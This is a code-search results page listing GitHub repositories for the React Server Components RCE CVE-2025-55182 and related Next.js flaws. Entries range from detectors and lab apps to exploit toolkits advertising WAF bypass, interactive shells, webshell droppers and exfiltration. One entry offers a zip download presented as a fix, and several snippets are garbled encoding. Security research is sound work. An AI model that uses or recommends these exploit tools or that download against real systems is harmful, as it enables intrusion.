136 matches found
react2shell-interactive
React2Shell - CVE-2025-55182 Interactive PoC Interactive shell for exploiting CVE-2025-55182, a Remote Code Execution vulnerability in React Server Components. Disclaimer This tool is provided for EDUCATIONAL and AUTHORIZED SECURITY TESTING purposes only. Only use on systems you own or have...
CVE-2025-55182-Exploit-extension
ะะตัะตะบัะพั ะพัะฟะตัะฐัะบะพะฒ RSC ะ ะฐััะธัะตะฝะธะต Chrome ะดะปั ะพะฑะฝะฐััะถะตะฝะธั ะพัะฟะตัะฐัะบะพะฒ React Server Components RSC ะธ Next.js App Router ะฝะฐ ะฒะตะฑ-ัััะฐะฝะธัะฐั . โ ๏ธ ะะฐะถะฝะพะต ัะฒะตะดะพะผะปะตะฝะธะต ะญัะพ ัะฐััะธัะตะฝะธะต ะฟัะตะดะฝะฐะทะฝะฐัะตะฝะพ ัะพะปัะบะพ ะดะปั ะพะฑัะฐะทะพะฒะฐัะตะปัะฝัั ัะตะปะตะน ะธ ะธััะปะตะดะพะฒะฐะฝะธะน ะฒ ะพะฑะปะฐััะธ ะฑะตะทะพะฟะฐัะฝะพััะธ. ะะฝะพ ะฒะบะปััะฐะตั ััะฝะบัะธะพะฝะฐะปัะฝะพััั, ะบะพัะพัะฐั...
react2shellVulnApp
React2Shell Vulnerable Banking Application Lab Deliberately vulnerable banking app for CVE-2025-55182 React and CVE-2025-66478 Next.js to learn, detect, and safely exercise React2Shell. Runs unpatched React 19.0.0 and Next.js 15.0.3. Overview Fictional SecureBank built with Next.js App Router and...
CVE-2025-55182-bypass
CVE-2025-55182 Header Bypass Next-Action header bypass for CVE-2025-55182. Achieves React RSC RCE without distinctive headers, bypassing WAF rules. Key Finding The Next-Action header is NOT required for exploitation...
CVE-2025-55183-poc
CVE-2025-55183-poc โ Next.js React Server Components Server Function Source Code Disclosure This repository contains detection tooling for a source code disclosure vulnerability in Next.js React Server Components RSC / Server Actions , tracked as CVE-2025-55183. In vulnerable applications, a...
CVE-2025-55182-Exploiter
๐ก๏ธ RSC Sentinel Pro Advanced React Server Components RSC Auditor & CVE-2025-55182 Exploitation Toolkit ๐ฅ Detect. Fingerprint. Exploit. A Chrome Extension for Security Researchers & Bug Hunters targeting Next.js App Router RSC vulnerabilities โ especially CVE-2025-55182 RSC Deserialization RCE. โ ...
React2Shell-Kingdom
React CVE-2025-55182 Vulnerability Demonstration Project โ ๏ธ SECURITY WARNING This project demonstrates a critical RCE vulnerability CVE-2025-55182 / React2Shell in React Server Components 19.1.1. FOR EDUCATIONAL AND SECURITY RESEARCH PURPOSES ONLY NEVER deploy to production or expose to untrusted...
HTB-Reactor-Linux-Machine-Walkthrough
HTB: Reactor !CAUTION ะัะตะดัะฟัะตะถะดะตะฝะธะต ะพ ัะฟะพะนะปะตัะฐั . ะญัะพ ะฟะพะปะฝะพะต ะฟัะพั ะพะถะดะตะฝะธะต, ะฒะบะปััะฐั ัะปะฐะณะธ. ะัะปะธ ะฒั ั ะพัะธัะต ัะตัะธัั ะผะฐัะธะฝั ัะฐะผะพััะพััะตะปัะฝะพ, ะทะฐะบัะพะนัะต ััะพ ัะตะนัะฐั ะธ ะฒะตัะฝะธัะตัั, ะบะพะณะดะฐ ะทะฐััััะฝะตัะต. ะะฝัะพัะผะฐัะธั ะพ ะผะฐัะธะฝะต ะะพะปะต| ะะพะดัะพะฑะฝะพััะธ ---|--- ะะฐะทะฒะฐะฝะธะต| Reactor ะะก| Ubuntu 24.04 LTS Noble ะกะปะพะถะฝะพััั| Medium CVE...
CVE-2025-66478-Exploit-Poc
Next.js CVE-2025-66478 PoC English | ํ๊ตญ์ด This repository contains a Proof of Concept PoC for reproducing and researching the Next.js CVE-2025-66478 vulnerability. It consists of a vulnerable Next.js application and a Python exploit script to test the vulnerability. What is CVE-2025-66478? This is...
rsc-security-auditor
๐ก๏ธ RSC Security Auditor Detect critical security vulnerabilities CVE-2025-66478, CVE-2025-55184 in your Next.js & React Server Components stack. ๐จ Urgent: Recent disclosures Dec 2025 have revealed critical DoS and RCE vulnerabilities in React Server Components. This tool helps you audit your...
fix-react2shell-next
๐ fix-react2shell-next - Fix Vulnerabilities in Your https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip App ๐ฅ Download Now ๐ Overview fix-react2shell-next helps you address a critical security issue in your...
Nextjs_Exploit_Tool
Next.js RSC RCE Exploit Tool CVE-2025-55182 Project Introduction CVE-2025-55182 is a high-severity vulnerability in Next.js's Server Component RSC processing chain. An attacker can craft special multipart/form-data requests and forged RSC response chunks to induce the server to execute arbitrary...
rsc_detect_CVE-2025-55182
what's it For CVE-2025-55182 and CVE-2025-66478 Security Response, it is not a POC, just to find whether a website uses React Server Components RSC or Next.js. Feature definition for detecting whether a website uses React Server Components RSC or Next.js ็จไบๆฃๆต็ฝ็ซๆฏๅฆไฝฟ็จไบ React Server Components RSC ๆ...
Torito-R2S
Torito React2Shell ะกะบะฐะฝะตั ะธ ัะบัะฟะปะพะนั-ะธะฝััััะผะตะฝั CVE-2025-55182 / 66478 ะกะบะฐะฝะตั, ะพัะธะตะฝัะธัะพะฒะฐะฝะฝัะน ะฝะฐ ะพะฑะฝะฐััะถะตะฝะธะต, ะดะปั ัะตะปะตะน Next.js RSC ั ะพะฟัะธะพะฝะฐะปัะฝัะผะธ ัะตะถะธะผะฐะผะธ ะฟะพะดัะฒะตัะถะดะตะฝะธั PoC ะธ ัะบัะฟะปะพะนัะฐ/ะพะฑะพะปะพัะบะธ. ะัะฟะพะปัะทัะนัะต ัะพะปัะบะพ ะฝะฐ ัะธััะตะผะฐั , ะบะพัะพััะต ะฒั ัะฟะพะปะฝะพะผะพัะตะฝั ัะตััะธัะพะฒะฐัั. ะขัะตะฑะพะฒะฐะฝะธั Python 3.9+ pip...
CVE-2025-55182-poc
CVE-2025-55182 React Flight protocol vulnerability allowing prototype chain traversal via chunk references. Testing against bullshit-react-project. Detection This is slightly out of date as the real PoC has now been revealed. Vite RSC : bash ./vite-detect.sh https://example.com Next.js : bash...
CVE-2025-55182-React-RCE
CVE-2025-55182-React-RCE Project Introduction and Principle The worldโs first CVEโ2025โ55182 React Server RCE exploit that can bypass WAF detection by leveraging RSC-specific features. Achieve RCE in the React Server default environment. Added original EXP supporting WAF bypass scenarios...
Quickcheck-CVE-2025-55182-React-and-CVE-2025-66478-Next.js
GitHub CVE Scanner ๐ Quickly scan GitHub repositories for critical React and Next.js RSC vulnerabilities Overview A browser-based scanner that checks all GitHub repositories for known security vulnerabilities in React Server Components:...
React2Shell
๐ React2Shell - Next.js RSC Pollution RCE Toolkit This Python toolkit exploits Next.js React Server Components RSC prototype pollution + React.lazy-1 gadget chain for full RCE access, including interactive god shell, file upload PHP webshell dropper, and exfiltration via ?out=. Image Preview ๐งพ...
RSC-Detect-CVE-2025-55182
๐ RSC-Detect - React Server Components Detector Lightweight detection utility for identifying React Server Components and Next.js applications ๐ฏ Purpose RSC-Detect is a simple, focused tool designed to identify websites using React Server Components RSC and Next.js framework. It's useful for:...
rschunter
RSC Hunter A powerful, multi-threaded scanner and exploit tool for React Server Component RSC vulnerabilities. This tool is designed to identify and exploit RCE vulnerabilities in RSC implementations, supporting various bypass techniques and strategies. Note : Due to the enormous complexity of...